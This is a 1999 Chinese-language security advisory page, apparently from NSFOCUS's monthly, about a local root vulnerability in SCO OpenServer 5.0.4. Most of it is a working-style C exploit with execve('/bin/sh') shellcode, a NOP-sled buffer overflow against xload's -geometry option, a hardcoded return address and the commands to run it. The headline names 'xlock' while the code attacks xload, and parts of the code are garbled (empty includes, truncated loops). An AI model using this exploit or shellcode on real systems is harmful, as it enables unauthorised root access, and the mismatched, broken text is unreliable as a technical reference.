首页 -> 安全研究

安全研究

绿盟月刊
绿盟安全月刊->第2期->最新漏洞
期刊号: 类型: 关键词:
SCO OpenServer 5.0.4 'xlock' 漏洞

作者:The Dark Raver of CPNE
整理:小鱼儿(littlefish@soim.net)
日期:1999-10-15

概述:
     'xlock'工具用来锁住Xwindows,用户必须提供有效的用户名和密码才能访问
被锁的Xwindows子系统。这一工具被发现存在允许本地用户获取Root权限的漏洞。

漏洞描述:
    通过如下代码检测此漏洞:

/*
* Local root exploit
*
* Offset: xload (SCO OpenServer 5.0.4)
* 0 -> From an open scoterm (without display parameter)
* 2000 -> From remote telnet (with display parameter)
*
* 编译:
* $ cc xloadx.c -o xloadx
* $ scoterm
* $ /usr/bin/X11/xload -geometry `xloadx 0`
* or
* $ /usr/bin/X11/xload -display 1.1.1.1:0 -geometry `xloadx 2000`
*
* 注: xload需要从有效的X-display运行。
*
* 作者: The Dark Raver of CPNE (Murcia/Spain 1999-6-22)
* -
*
*/


#include
#include


char hell[]=
"\xeb\x1b\x5e\x31\xdb\x89\x5e\x07\x89\x5e\x0c\x88\x5e\x11\x31\xc0"
"\xb0\x3b\x8d\x7e\x07\x89\xf9\x53\x51\x56\x56\xeb\x10\xe8\xe0\xff"
"\xff\xff/bin/sh\xaa\xaa\xaa\xaa\x9a\xaa\xaa\xaa\xaa\x07\xaa";

/*
char hell[]=
"\xeb\x1b" // start: jmp uno
"\x5e" // dos: popl %esi
"\x31\xdb" // xorl %ebx,%ebx
"\x89\x5e\x07" // movb %bl,0x7(%esi)
"\x89\x5e\x0c" // movl %ebx,0x0c(%esi)
"\x88\x5e\x11" // movb %bl,0x11(%esi)
"\x31\xc0" // xorl %eax,%eax
"\xb0\x3b" // movb $0x3b,%al
"\x8d\x7e\x07" // leal 0x07(%esi),%edi
"\x89\xf9" // movl %edi,%ecx
"\x53" // pushl %ebx
"\x51" // pushl %ecx
"\x56" // pushl %esi
"\x56" // pushl %esi
"\xeb\x10" // jmp execve
"\xe8\xe0\xff\xff\xff" // uno: call dos
"/bin/sh"
"\xaa\xaa\xaa\xaa"
"\x9a\xaa\xaa\xaa\xaa\x07\xaa"; // execve: lcall 0x7,0x0
*/


#define OFF 0x80462ff // SCO OpenServer 5.0.4
#define ALINEA 3
#define LEN 2000


int main(int argc, char *argv[]) {

int offset=0;
char buf[LEN];
int i;

if(argc < 2) {
printf("Usage: xloadx \n");
exit(0); }
else {
offset=atoi(argv[1]); }

memset(buf,0x90,LEN);
memcpy(buf+1000,hell,strlen(hell));
for(i=1100+ALINEA;i *(int *)&buf[i]=OFF+offset;

for(i=0;i putchar(buf[i]);

exit(0);
}

解决方法:
    到http://www.sco.com站点去寻找最新的漏洞补丁。


版权所有,未经许可,不得转载